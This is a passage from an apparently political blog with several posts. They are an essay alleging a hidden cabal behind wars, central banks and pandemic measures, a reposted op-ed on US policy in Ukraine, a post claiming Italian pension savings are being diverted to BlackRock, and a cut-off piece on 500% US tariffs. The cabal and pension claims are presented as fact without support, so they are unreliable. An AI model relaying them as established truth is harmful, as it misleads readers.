Soggiogo

Plebei e Patrizi

2026-08-03T03:54:44.253-07:00

Lascia che ogni anima si sottometta all’autorità dei poteri

superiori. Non esiste potere se non quello di Dio. I poteri

costituiti sono ordinati da Dio.

Bibbia di Tyndale (1526)

Per i suoi sforzi nel tradurre alcuni testi nell’inglese dell’epoca, William

Tyndale fu imprigionato in un castello appena fuori Bruxelles e poi

giustiziato per strangolamento, dopo di che il suo corpo fu bruciato

sul rogo.

Forse qualcuno potrebbe, ad un certo punto, arrivare a chiedersi se i

“poteri costituiti” siano ordinati da Dio. Si può facilmente sapere che

conducono guerre contro persone innocenti.

Curtis Lemay ha detto notoriamente:

Non ci sono civili innocenti. È il loro governo e stai combattendo

un popolo, non stai più cercando di combattere una forza arma-

ta. Quindi non mi dà molto fastidio uccidere i cosiddetti passanti

innocenti.

Come essere umano, questo non dovrebbe preoccuparti? Quale parte

del massacro organizzato di un gran numero di persone innocenti trovi

accettabile? Credi di essere speciale in qualche modo, che sei stato

protetto o che lo sarai ora?

Ci sono state abbondanti prove di un grande male all’opera nel

mondo, nel corso dei tempi e nel nostro tempo presente. Desideri

davvero ignorarne l’esistenza e il funzionamento?

C’è un’interconnessione di tutte le cose. Se non vi interessano le

palesi bugie, la morte di bambini innocenti, i bombardamenti delle città,76

10 Conclusione

la repressione del dissenso, la propaganda, l’escalation del terrorismo,

in cui, stranamente, le persone innocenti sono sempre e ovunque il

bersaglio, prima o poi arriverà per te, o per i tuoi figli, o per i tuoi nipoti.

Se lo sai e non fai nulla al riguardo, o non dici nulla al riguardo, è il

momento.

È ora di iniziare a collegare i punti, perché portano a te.

Se sei tra i ricchi, potresti presumere che, poiché il sistema vi ha

permesso di accumulare ricchezza, sarete protetti in qualche modo, o

che siate speciali. Sei speciale. Ti stanno conservando per il dessert.

Vi è stato permesso di inseguire i profitti mentre il benessere e la

resilienza del vostro popolo sono stati ampiamente e sistematicamente

eliminati. Ci sono mostri sotto le scale che mangiano persone vive. Ma

tu non vuoi guardare nel sottoscala, perché vuoi continuare a usare le

scale.

Non sapere è brutto. Non voler sapere è peggio.

L’ignoranza volontaria dell’esistenza e del funzionamento del male

è un lusso che nemmeno i ricchi possono più permettersi.

Siamo nella morsa del male più grande che l’umanità abbia mai

affrontato (o che abbia rifiutato di riconoscere, a seconda dei casi). La

guerra ibrida è illimitata. Non ha limiti. È globale ed è dentro la tua

testa. Non finisce mai.

Niente concentra la mente come un’impiccagione imminente, o come

disse originariamente Samuel Johnson: "Dipende da questo, signore,

quando un uomo sa che sarà impiccato entro due settimane, concentra

la sua mente in modo meraviglioso". La guerra ibrida può essere

fermata. Fermarlo inizia nella tua mente.

Durante la Grande Guerra, Edward L. Bernays aveva collaborato con

il Comitato per la Pubblica Informazione per “vendere” la guerra al

pubblico. Nel 1928 pubblicò il suo libro “Propaganda”1 ), in cui possiamo

leggere questa affermazione sull’argomento:

Coloro che manipolano questo meccanismo invisibile della società

costituiscono un governo invisibile che è il vero potere dominante

del nostro Paese.

La manipolazione psicologica sistematica della società, iniziata con i

mali della Grande Guerra, è continuata senza sosta e si è intensificata

al punto che ora siamo soggetti a operazioni psicologiche continue e a

spettro completo.

E. L. Bernays. Propaganda. Horace Liveright, NY, 1928. url: https://archive.org/

details/bernays-edward-l.-propaganda-1928-1936_202107/

Ottantuno anni dopo la pubblicazione del libro di Bernays, Chris

Hedges scrisse quanto segue):

Un pubblico che non riesce più a distinguere tra verità e finzione è

lasciato a interpretare la realtà attraverso l’illusione. Fatti casuali o

frammenti oscuri di dati e curiosità vengono utilizzati per rafforzare

l’illusione e conferirle credibilità, oppure scartati se interferiscono

con il messaggio . . .

Quando le opinioni non possono essere distinte dai fatti, quando

non esiste uno standard universale per determinare la verità nel

diritto, nella scienza, negli studi o nel riportare gli eventi del giorno,

quando l’abilità più apprezzata è la capacità di intrattenere, il

mondo diventa un luogo dove le bugie diventano realtà, dove le

persone possono credere a ciò che vogliono credere. Questo è il

vero pericolo degli pseudo-eventi e gli pseudo-eventi sono molto più

perniciosi degli stereotipi. Non spiegano la realtà, come tentano

di fare gli stereotipi, ma sostituiscono la realtà. Gli pseudo-eventi

ridefiniscono la realtà secondo i parametri stabiliti dai loro creatori.

Questi creatori, che realizzano enormi profitti vendendo illusioni,

hanno un interesse acquisito nel mantenere le strutture di potere

che controllano.

Le persone dietro le guerre non sono mai state indagate e rimosse

dal potere. Hanno continuato ad avere il controllo di tutte le banche

centrali e della creazione di moneta, e hanno esteso il loro controllo a

livello globale.

Certamente molti di coloro che hanno contribuito a ciò ignorano il

disegno più grande. Ma le persone dietro le guerre sono, letteralmente,

assassini bugiardi e ladri, e lo sanno. Dire che ci sono molte prove

di ciò è un eufemismo. Forse non hanno ucciso con le proprie mani

uomini, donne e bambini innocenti, ma hanno deliberatamente causato

queste morti. Che ciò avvenga con intenzione lo si può capire dalla

persistenza della loro pianificazione e delle loro azioni nel corso di

molti decenni. Anche se la portata e l’audacia di questa criminalità

ci sembrano inimmaginabili, per loro nulla è inimmaginabile. La loro

criminalità ha ormai raggiunto una scala senza precedenti e definitiva,

poiché il suo scopo è la sottomissione dell’intero globo e di tutte le

persone.

C. Hedges. Empire of Illusion: the End of Literacy and the Triumph of Spectacle. 2009.

url: https://www.worldcat.org/title/301887642.78

Le guerre non sono sempre state tanto una questione di presa di

cose quanto di sottomissione delle popolazioni su tutti i fronti. Vaste

distruzioni e morte sono accettabili per i loro pianificatori. Potresti

chiederti: come possono essere tenute insieme le persone che tramano

ed eseguono piani così folli? Suggerisco che abbia qualcosa a che fare

con il potere vincolante della colpa condivisa, del patto criminale.

Gli autori sono tutti vincolati, esplicitamente o inconsciamente, dalle

prove di atti vergognosi e traditori commessi contro il proprio popolo.

Per loro la commissione del crimine è un totem di potere. Quanto più

atroce è il crimine, tanto più potente è la forza vincolante.

Negli ultimi anni avete vissuto in una crescente guerra ibrida. A livello

globale, abbiamo assistito a un palese controllo dei media e a campagne

di propaganda; censura, compresi gli arresti di persone che parlano in

pubblico; monitoraggio di tutte le comunicazioni elettroniche e trac-

ciamento dei contatti fisici; requisiti di isolamento e mascheramento

applicati brutalmente, con persone picchiate, ammanettate e arrestate,

anche nelle loro case; sospensione dei servizi sanitari e indebolimento

dei sistemi sanitari; requisiti di test invasivi per il lavoro e i viaggi; qua-

rantena forzata dei viaggiatori; e quarantena forzata e “vaccinazione”

della popolazione generale sana.

I governi abbandonarono ogni pretesa di democrazia e furono in-

coraggiati a praticare un aperto dispotismo. Non c’erano controlli di

funzionamento su questo potere. I tribunali non hanno fornito alcun

aiuto al pubblico.

I governi hanno ampiamente abusato dei diritti umani fondamentali,

giustificandolo con la necessità di prevenire la diffusione delle malattie

infettive, che in realtà sono moltissime, sempre presenti e in continua

evoluzione. E così, questa giustificazione, se mantenuta, afferma la

fine della democrazia e la continuazione di un governo apertamente

dispotico.

Riesci a immaginare che potrebbe trattarsi di qualcosa di più di un

virus?

Abbiamo assistito a progetti e tentativi reali per esercitare il con-

trollo fisico sul corpo di ogni persona, a livello globale, e questo sta

continuando. Perché sta succedendo?

Farò un’affermazione sorprendente. Ciò non avviene perché il potere

di controllo stia aumentando. È perché questo potere sta effettivamente

crollando. Il “sistema di controllo” è entrato nel collasso.

Il loro potere è basato sull’inganno. I loro due grandi poteri inganne-

voli, il denaro e i media, sono stati mezzi di controllo estremamente

efficienti dal punto di vista energetico. Ma questi poteri sono ora in

dilagante collasso. Questo è il motivo per cui si sono mossi urgente-

mente per istituire misure di controllo fisico. Tuttavia, il controllo fisico

è difficile, pericoloso e ad alta intensità energetica. E così rischiano

tutto. Rischiano di essere scoperti. Non è questo il sintomo della loro

disperazione?

Dove si nasconderanno quando avranno tutte le risorse, quando

avranno danneggiato tutta l’umanità e causato il risveglio di miliardi di

persone attraverso la sofferenza?

Promuovono la convinzione di essere onnipotenti. Non lo sono. Tutto

ciò che hanno avuto è il potere di stampare denaro. Il resto lo hanno

usurpato all’umanità.

Mai prima d’ora un sistema ha beneficiato così pochi a scapito di così

tanti. Tutto ciò non è intrinsecamente instabile e insostenibile?

Il controllo fisico, al contrario del dominio tramite l’inganno, richiede

un’energia enorme. È possibile sostenere tutto questo distruggendo

tutte le economie e abusando di tutte le persone, a livello globale?

Non sanno come “ricostruire meglio”. Guardate la loro impronta nel

mondo: la distruzione, la devastazione economica. Quando si tratta del

mondo reale, sono eccezionalmente bravi in una sola cosa: mandare

tutto a puttane. Poi dichiarano la loro vittoria e attribuiscono la colpa

agli altri per l’orribile danno arrecato.

Ci è stato detto da Hobbes che la guerra è lo stato naturale dell’uomo (i

mecenati di Hobbes erano “nobili”). Ma la guerra è naturale e inevitabile?

Come è sopravvissuta l’umanità? Pensaci. Gli esseri umani sono

sopravvissuti uccidendosi a vicenda? È un ossimoro! La guerra è

aberrante.

3 D. Bell. Amendments to WHO’s International Health Regulations: An Annotated Gui-

de. 2023. url: https : / / brownstone . org / articles / amendments - who - ihr -

annotated-guide/.80

Il 100% della sopravvivenza umana si basa sulla cooperazione.

Non puoi sopravvivere da solo. Dipendi da tutti gli altri e da tutto il

resto. Questa è sanità mentale. Questa è la realtà.

Tutte le organizzazioni che promuovono la guerra sono organizza-

zioni criminali. Le persone dietro di loro sono assassini di massa. Gli

uomini e le donne che orchestrano il caos in un paese dopo l’altro sono

criminali della peggior specie. Le persone che eseguono gli ordini non

sono eroi; sono criminali.

Le persone che controllano questo sistema ovviamente non sono

benevole. Non sono nobili. Non sono élite. Sono pazzi!

Sono l’antitesi di tutto ciò che potremmo apprezzare, ammirare e

amare. Queste persone non rappresentano lo sviluppo umano o il

futuro dell’umanità. Mancano delle qualità umane essenziali. Sono

aberranti. L’antipatia per l’umanità è aberrante. Per il 99,99% della

storia umana, sociopatici come questi non sarebbero sopravvissuti

al prossimo inverno. La loro natura è stata scoperta e sono stati

allontanati dal villaggio, per salvare il villaggio.

Oggi operano attraverso l’anonimato reso possibile dalla scala di-

sumana dell’organizzazione sociale. Anche così, ciò non consentirà

loro di continuare indefinitamente. Siamo entrati in un tempo in cui

la loro natura viene riconosciuta. La conoscenza della loro esistenza è

diventata inevitabile. La loro presa finirà, perché tutta l’umanità non

può permettere che continui. Una volta riconosciuti, gli esseri umani

si uniranno contro una minaccia esistenziale comune. Persone di ogni

ceto sociale si uniranno alla causa comune. Ne siamo già stati testimoni.

La loro struttura di potere può e deve essere smantellata in modo

non violento. Le “menti” non saranno ancora conosciute. Tuttavia,

possono essere identificati gli individui e le organizzazioni vicini alle

leve del potere (monetario, media, governo, “sanità”, militare, polizia,

legale, aziendale), che operano con intenti criminali nei confronti del-

la massa dell’umanità. La fedeltà di questi funzionari è instabile,

guidata da meschini interessi personali. Avvertendo direttamente e

personalmente queste persone che le loro azioni sono documentate e

soggette a procedimento penale, potrebbero essere costrette a rifiutare

un ulteriore coinvolgimento. Questo processo può essere accelerato.

Non è necessario svegliare la maggioranza! Non combattiamo l’1%, ma

lo 0,01%. Anche senza mobilitare la maggioranza, è del tutto possibile

realizzare un enorme vantaggio da parte di persone intelligenti, capaci

e attiviste.

Se le persone dietro questa Grande Stangata persistono nei loro

piani folli, saranno inevitabilmente trovate. Sarà abbastanza semplice

inseguire la garanzia collaterale fino a chi ha provveduto a prendersela.

Forse non sono poi così geniali!

Verremo a sapere chi c’è dietro questa guerra ibrida contro l’umanità.

Verremo a sapere chi controlla la Banca dei regolamenti internazio-

nali, il sistema della Federal Reserve e tutte le banche centrali a livello

globale, e quindi tutti i partiti politici, i governi, i media e le forze

armate.

Verremo a sapere chi controlla la CIA.

E finalmente sapremo chi c’è dietro gli omicidi.

Vorrei concludere con le parole di John F. Kennedy:

I nostri problemi sono causati dall’umanità;

pertanto, possono essere risolti dall’umanità.

Ukraine: America’s Enduring Proxy War on Russia

2026-07-25T01:25:19.425-07:00

/Eisenhower’s warning that US policy would be captured by a scientific-technological elite supplies a specific reason the US sustains the Ukraine war: Ukraine has become a unique, live-fire laboratory for AI warfare at scale./ Jeffrey D. Sachs & Sybil FaresCommon Dream <https://www.commondreams.org/opinion/us-proxy-war-in-ukraine>s In his farewell address of January 1961, Dwight Eisenhower warned Americans against the “acquisition of unwarranted influence, whether sought or unsought, by the military-industrial complex <https://us.list-manage.com/Bs3vkPIgPpY?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>,” and the danger that “public policy could itself become the _captive of a scientific-technological elite_ <https://us.list-manage.com/Ck1oErFBstb?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>.” Sixty-five years on, Eisenhower’s warnings have been repeatedly and tragically vindicated. American democracy <https://us.list-manage.com/4YKALOT5MKw?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> hangs by a thread, while the military-industrial complex, now including Silicon Valley, runs American foreign policy over the objections of the American people. The aim is American primacy, meaning the unchallenged wealth, power, and prerogatives of American elites, unchecked by any other nation or group of nations. What this means in practice is that Wall Street <https://us.list-manage.com/vyRWZR8bIiw?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>, military contractors, Silicon Valley, and Big Oil <https://us.list-manage.com/XtE2PDckoBw?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> control American foreign policy to maximize elite wealth and access to global resources, supply chains, and strategic choke points. The rest of the world is to fall in line. The military-industrial complex deploys a toolkit that we summarize as “regime control,” directed at subordinating the rest of the world’s governments to the United States <https://us.list-manage.com/rmcmPTYRNlz?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>. The instruments used for regime control include the imposition or removal of trade <https://us.list-manage.com/5hDUquV7h1r?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> barriers; the access to or denial of technologies; the introduction or removal of economic sanctions <https://us.list-manage.com/ZWxXiCq_4iw?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>; the ownership and manipulation of foreign media; electoral interference of varying extent; political assassinations, color revolutions, CIA-backed coups; the instigation of overseas bank runs and the supply of emergency loans when states submit; the freezing and unfreezing of foreign assets; the targeting of foreign officials with corruption <https://us.list-manage.com/O1aMrz5TOlD?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> claims, extradition, or kidnapping; and, when none of these suffice for regime control, outright war. The US wars of choice (really, wars for regime control) are perpetual, and lucrative for the war industries, though the deep state typically prefers that other governments cave in without a fight. Geopolitical Pivots and American Primacy Zbigniew Brzezinski’s /The Grand Chessboard/ <https://us.list-manage.com/nnv2uuYeg6j?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> (1997) laid out the goal of regime control with remarkable candor. Eurasia is the board on which America’s global primacy must be secured. To succeed, America should dominate “geopolitical pivots,” meaning states that are unimportant to America per se but useful for weakening another major power. Brzezinski named key geopolitical pivots, the most important of which was Ukraine <https://us.list-manage.com/iXRSWHWpvO_?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>. He repeatedly proclaimed that Russia without Ukraine ceases to be a great power. He identified Iran as another pivot. Control over Iran secures America’s hold on the Persian Gulf, Mideast oil <https://us.list-manage.com/zOsJwYlvkvh?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>, and the Caspian region. It is no surprise that US wars rage in both places. This is important to understand the decisions of six seemingly different presidents, who all pursued one consistent Ukraine policy. Bill Clinton <https://us.list-manage.com/ohbbrq6GGlT?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> set out to enlarge NATO <https://us.list-manage.com/1175EAjj4u5?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> to Ukraine and other border states of Russia, counting on Russia being too weak to object. He and subsequent presidents assumed that Russia would ultimately accept its diminished global status, accept the reality of NATO on its borders, and settle into a subordinate role of supplying raw materials to the West within an American-ordered Eurasia. Clinton launched NATO enlargement in the 1990s, over George Kennan’s warning that it was “_the most fateful error of American policy in the entire post-Cold-War era_ <https://us.list-manage.com/XbU3xhJu1m5?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>” and despite the legally binding assurances given by the US to Mikhail Gorbachev in 1990 that NATO would move “_not one inch eastward_ <https://us.list-manage.com/14kjE6DhfSm?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>.” George W. Bush <https://us.list-manage.com/I8zYY9YWVNz?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> withdrew from the ABM Treaty and, at Bucharest in 2008, committed NATO to membership for Ukraine and Georgia, crossing what William Burns, then ambassador in Moscow <https://us.list-manage.com/5qxp9WNSGff?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> and later CIA <https://us.list-manage.com/RRD87PgOs5L?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> director, privately called “_the brightest of all redlines_ <https://us.list-manage.com/WrQx07xVy0C?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>” for the entire Russian elite. Barack Obama’s administration backed the 2014 Maidan overthrow of Ukraine’s elected, neutral government (we know this through Victoria Nuland’s intercepted call where she discusses _choosing the next prime minister_ <https://us.list-manage.com/D5ankEbTimO?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>), and then supported the new regime’s bid to join NATO. Donald Trump <https://us.list-manage.com/1CoHlzd0qEm?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>, in his first term, sent Javelin systems to the US-backed regime in Kyiv to fight the breakaway, Russian-speaking Donbas. Joe Biden <https://us.list-manage.com/YRuntpxOUZU?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> brushed aside Russia’s December 2021 draft security treaties without negotiating and scuttled _the near-agreement between Russia and Ukraine at Istanbul_ <https://us.list-manage.com/vP0el3zoqjj?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> in the spring of 2022, which would have ended the war. And so the war continues to this day. Trump’s Vacuous Anti-War Campaign Promises Donald Trump <https://us.list-manage.com/j3Hd7jjdMKL?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> campaigned in 2024 as the man who would end America’s forever wars. This turned out to be far from the truth. The year 2025 opened with theater including the Oval Office humiliation of Ukrainian President Volodymyr Zelenskyy <https://us.list-manage.com/1A08VSwYHlg?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> in February, the taunt that Ukraine had “no cards,” and in March a week-long suspension of US intelligence sharing with Kyiv. That week proved two things. First, this is an American war: Deprived of US intelligence for only a few days, Ukraine’s deep-strike capacity and battlefield awareness visibly degraded. Second, the White House <https://us.list-manage.com/xaGgwFn7AnL?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> pressure was aimed not at peace with Moscow but at obedience from Kyiv. The US military <https://us.list-manage.com/kY9v_ysh5vI?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> spigot was reopened, and what followed, behind a proscenium of summits and phone calls, was the most systematic escalation of the American military role since 2022. In June 2025, Trump signed _Executive Order 14307_ <https://us.list-manage.com/8L0M_i4z6YR?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>, “Unleashing American Drone Dominance,” directing the rebuilding of the American drone industrial base and instructing that the Pentagon <https://us.list-manage.com/NwTgEz8mYnJ?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> “must be able to procure, integrate, and train using low-cost, high-performing drones.” In July, Defense Secretary Pete Hegseth staged a drone demonstration at the Pentagon and stripped away procurement restrictions to “unleash” military drone dominance; the same month, on a call with Zelenskyy, Trump asked, according to the Financial Times’ later reporting, whether Ukraine could strike Moscow if given longer-range weapons. From midsummer 2025, the US supplied the intelligence for Ukraine’s long-range drone campaign against Russian refineries, pipelines, and power stations, shaping route planning, altitude, timing, and mission decisions; by some officials’ account, setting the target priorities itself. In August came the Alaska summit, suggesting diplomacy, yet at the same time the sale of _Extended Range Attack Munitions_ <https://us.list-manage.com/14QzkLU4wAL?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> for Ukraine, with European allies paying. By October, Trump had formally authorized the Pentagon and the intelligence agencies to hand Ukraine targeting data for strikes on Russian energy infrastructure <https://us.list-manage.com/P2saoqt5fQO?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> deep inside Russia, a step the Biden administration <https://us.list-manage.com/qytS9qt6BMa?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> itself had refused as too escalatory, while Washington <https://us.list-manage.com/IWHs9teNaVm?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> pressed NATO allies to do the same and openly debated _Tomahawks with the range to reach Moscow_ <https://us.list-manage.com/pp3tnuZJ5vR?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>. Through it all, CIA Director John Ratcliffe kept the agency’s presence in Ukraine at its highest level, increased funding for its programs there, coordinated Ukrainian strikes on Russian refineries by sharing intelligence on infrastructure vulnerabilities, and patiently guided Trump toward blessing the campaign. The United States, it emerged, had _spent billions building Ukraine’s drone program_ <https://us.list-manage.com/i5SV3nZbJOO?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> from the start, in an effort backed by the CIA throughout. Trump lies constantly, and much of it is the improvisation of a vain and careless man. But the consequential lying is systematic, and in one direction: in the service of the military-industrial complex. The Laboratory Eisenhower’s warning that US policy would be captured by a scientific-technological elite supplies a specific reason the US sustains the Ukraine war <https://us.list-manage.com/ybK2Evq4CBE?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>. Ukraine has become a unique, live-fire laboratory for AI warfare at scale: millions of drone sorties, a continuous adaptation race against a peer adversary’s electronic warfare, and thousands of hours of combat data that constitute the most valuable military AI asset on Earth. At the center of this sits Palantir, born of CIA seed money, running the Pentagon’s Maven targeting enterprise, and threaded through the British security establishment via a revolving door <https://us.list-manage.com/OoU1fIrwmIH?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> that includes a former MI6 chief among _more than 30 UK officials_ <https://us.list-manage.com/LOvr8AScUaf?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> hired or contracted by the company. Its chief executive openly boasts that Palantir software performs “_most of the targeting_ <https://us.list-manage.com/yR34QXZc7YE?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>” done by Ukraine. In January 2026 Ukraine’s defense ministry announced that Palantir was building the “Brave1 Dataroom” to feed real battlefield data into the AI brains of interceptor drones; by May, minister and CEO were discussing expanded cooperation in battlefield analysis and military planning, the ministry promising to “_transfer the war onto Russian territory_ <https://us.list-manage.com/1CYCGiGd6ak?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>.” Nor is Iran a separate story from the Ukraine saga. Recall that in Brzezinski’s geography the arc from the Persian Gulf through the Caspian is the second great prize, with Iran as its keystone pivot. Ukrainian interceptor teams have _deployed to Jordan against Iranian drones_ <https://us.list-manage.com/TQeiViegmFF?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>; the counter-drone systems proven against Russia are marketed to the Gulf. Two geopolitical pivots, one chessboard, and one ultimate source of these two wars of choice: the military-industrial complex. Kissinger’s Admonition to Friends of the US Henry Kissinger <https://us.list-manage.com/tmXr3MEUB4n?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13> is famously credited with telling the truth to nations that the US would use and discard: To be an enemy of the United States may be dangerous, but to be a friend is fatal. Ukraine is dying at American hands. Thirty years since Brzezinski pointed to Ukraine as the key geopolitical pivot for American primacy, Ukraine has been demographically hollowed and territorially truncated, with its energy grid pounded, its elections suspended, and its politics reduced to corrupted palace intrigues. This month’s rupture in Kyiv shows that in the midst of what Western coverage calls Ukraine’s great comeback, Zelenskyy dissolved his government for the fourth time in the war; dispatched his prime minister toward the Washington embassy to manage the “key partner;” and summarily _sacked Mykhailo Fedorov_ <https://us.list-manage.com/yKwn2yPsL8O?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>, the popular minister celebrated as the architect of the drone ecosystem. A country truly winning its war does not behave this way. The deepest cruelty is that Russia sought, repeatedly and for 30 years, a security arrangement with the US in which both countries and their neighborhoods would live in peace, mutual respect, and indivisible security. Yet the US does not want security with mutual respect. It wants primacy, which is an altogether different thing. In the process, it sacrifices Ukraine and Iran to its hubris. Peace in Ukraine requires only that the US relinquish the hubris it has maintained for decades that Russia can be pressured into surrender, and instead accept Ukraine as a neutral bridge between Europe and Russia rather than a geopolitical pivot to be used against Russia. Eisenhower foresaw why acceptance of peace would be so hard: The military-industrial complex does not merely influence policy; it defines it. Until the American people reclaim the democracy from Palantir, BlackRock <https://us.list-manage.com/11NweltUdJr?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>, SpaceX, Chevron <https://us.list-manage.com/slligMGzuXY?e=16a1c11c93&c2id=a2750399b39e6f0e1dfa879f5cf4ae13>, and their ilk, the battlefield “laboratories” will stay open, and Ukraine will pay the fatal price for American “friendship.”

MELONI PRIVATIZZA LA PREVIDENZA QUASI SOTTO SILENZIOIL GOVERNO MELONI CONSEGNA LE RISORSE DELLA PREVIDENZA ITALIANA A BLACKROCK.

2026-07-12T06:37:36.066-07:00

Io spero che questa notizia sia un falso, perché se fosse vero sarebbe molto grave e pericolosa per i pleblei italiani.
Se siete neoassunti ricordate che avete 60 giorni di tempo per poter negare il vostro consenso alla truffa del secolo
Da ieri infatti è partito il silenzio assenso per aderire al trasferimento di una parte di contributi a un fondo pensione privato — se non vi opponete entro 60 giorni verrà trasferito anche il tfr, e non ci sarà modo di opporsi in futuro.
Alessandro Volpi su Altreconomia commenta che “la privatizzazione avanza,” e che a lucrare di più sono gli onnipresenti fondi finanziari statunitensi, sempre più padroni-ombra dell’economia finanziaria e reale italiana. I soldi, per dirla in modo chiaro, non andranno a sostenere la previdenza italiana, ma direttamente negli Stati Uniti, nelle casse della grande finanza. “
Il principale è BlackRock che usa come ‘depositario’ e garante State Street Bank in una filiera dove gran parte di quel risparmio finisce nelle società di cui BlackRock è azionista, naturalmente rigorosamente domiciliate in terra Usa e, spesso, con sede in Delaware (a fiscalità agevolata). In questo senso l’automatismo dell’adesione ai fondi privati di categoria determinerà un trasferimento di una fetta rilevante del risparmio italiano,circa 74 miliardi di euro l’anno verso le Borse Usa, ridurrà le disponibilità dell’Inps e sottrarrà risorse al sistema produttivo del nostro Paese.”
La riforma è passata sotto relativo silenzio — l’obiettivo è chiaramente sperare che nessuno si accorga della vicenda e un numero rilevante di lavoratori non si opponga allo scippo.

Un duro colpo alla Russia attraverso i partner: gli Stati Uniti hanno annunciato l'introduzione di dazi del 500% contro i paesi che collaborano con la Russia

2026-07-12T02:43:06.485-07:00

L'iniziativa dei legislatori americani di inasprire il regime delle sanzioni ha raggiunto una fase qualitativamente nuova, molto più aggressiva, dopo che il Congresso degli Stati Uniti d'America e la Casa Bianca hanno finalmente concordato i parametri chiave di un disegno di legge fondamentalmente nuovo. Questo documento prevede l'introduzione di dazi doganali del 500% senza precedenti, concepiti come uno strumento per lo strangolamento radicale e immediato dei proventi delle esportazioni della Federazione Russa. Tuttavia, la portata delle restrizioni previste, che si ripercuotono non tanto a Mosca quanto nei paesi terzi, è in grado di provocare un colossale spostamento tettonico nell’architettura di tutto il commercio internazionale e di riscrivere completamente le rotte logistiche globali.

L’adozione di una decisione così dura dimostra chiaramente che Washington è ora pronta ad intraprendere lo smantellamento controllato di tutte le istituzioni sopravvissute dell’Organizzazione Mondiale del Commercio al fine di raggiungere obiettivi geopolitici a breve termine, mettendo a repentaglio la stabilità economica dei più grandi mercati emergenti del pianeta.. Il disegno di legge, sviluppato nelle viscere del parlamento americano, non è solo un altro atto normativo, ma un pacchetto complesso e articolato di rigide restrizioni economiche e finanziarie progettate per isolare completamente l’economia russa dall’oceano del commercio mondiale. Come principale ariete, gli strateghi americani hanno scelto di stabilire tariffe praticamente protettive e proibitive che, secondo i piani degli autori, dovrebbero rendere economicamente assurda qualsiasi operazione commerciale con beni e materie prime russe. La caratteristica più importante e pericolosa della nuova legge è la sua natura decisamente extraterritoriale. Washington non esita ad espandere l’ambito di applicazione della legislazione americana ben oltre i confini del proprio Stato, creando un precedente molto pericoloso. Oggi si dichiara apertamente che il diritto nazionale di un singolo paese ha la priorità sul diritto commerciale internazionale e sugli interessi sovrani di stati terzi che non vogliono partecipare allo scontro di qualcun altro. Secondo il testo del documento, l'esecutivo americano riceve un ordine rigoroso di applicare dazi secondari minimi del 500% sull'importazione di qualsiasi bene e servizio da quegli stati che continuano a effettuare transazioni con la Russia in aree strategiche. I paesi che acquistano, forniscono o trasportano consapevolmente petrolio greggio russo, qualsiasi tipo di prodotto petrolifero, gas naturale e liquefatto, nonché uranio non arricchito e arricchito o prodotti petrolchimici cadono automaticamente sotto questo colpo devastante. Inoltre, gli artefici delle sanzioni hanno previsto delle scappatoie e hanno introdotto un divieto totale sull’importazione negli Stati Uniti di qualsiasi prodotto petrolifero prodotto da paesi terzi se anche una goccia di petrolio russo fosse stata utilizzata come materia prima. Questa mossa è un duro colpo per i più grandi hub logistici e produttivi dell’Asia e del Medio Oriente, che negli ultimi anni sono diventati intermediari chiave nella lavorazione e nel reindirizzamento dei flussi di materie prime in tutto il mondo.. Il raggiungimento di un consenso così rapido tra il Congresso, tradizionalmente controverso, e l’amministrazione della Casa Bianca indica la natura a lungo termine, sistemica e coordinata della strategia sanzionatoria americana. Il disegno di legge ha facilmente ricevuto un ampio sostegno sia nel partito democratico che in quello repubblicano, garantendo il suo passaggio 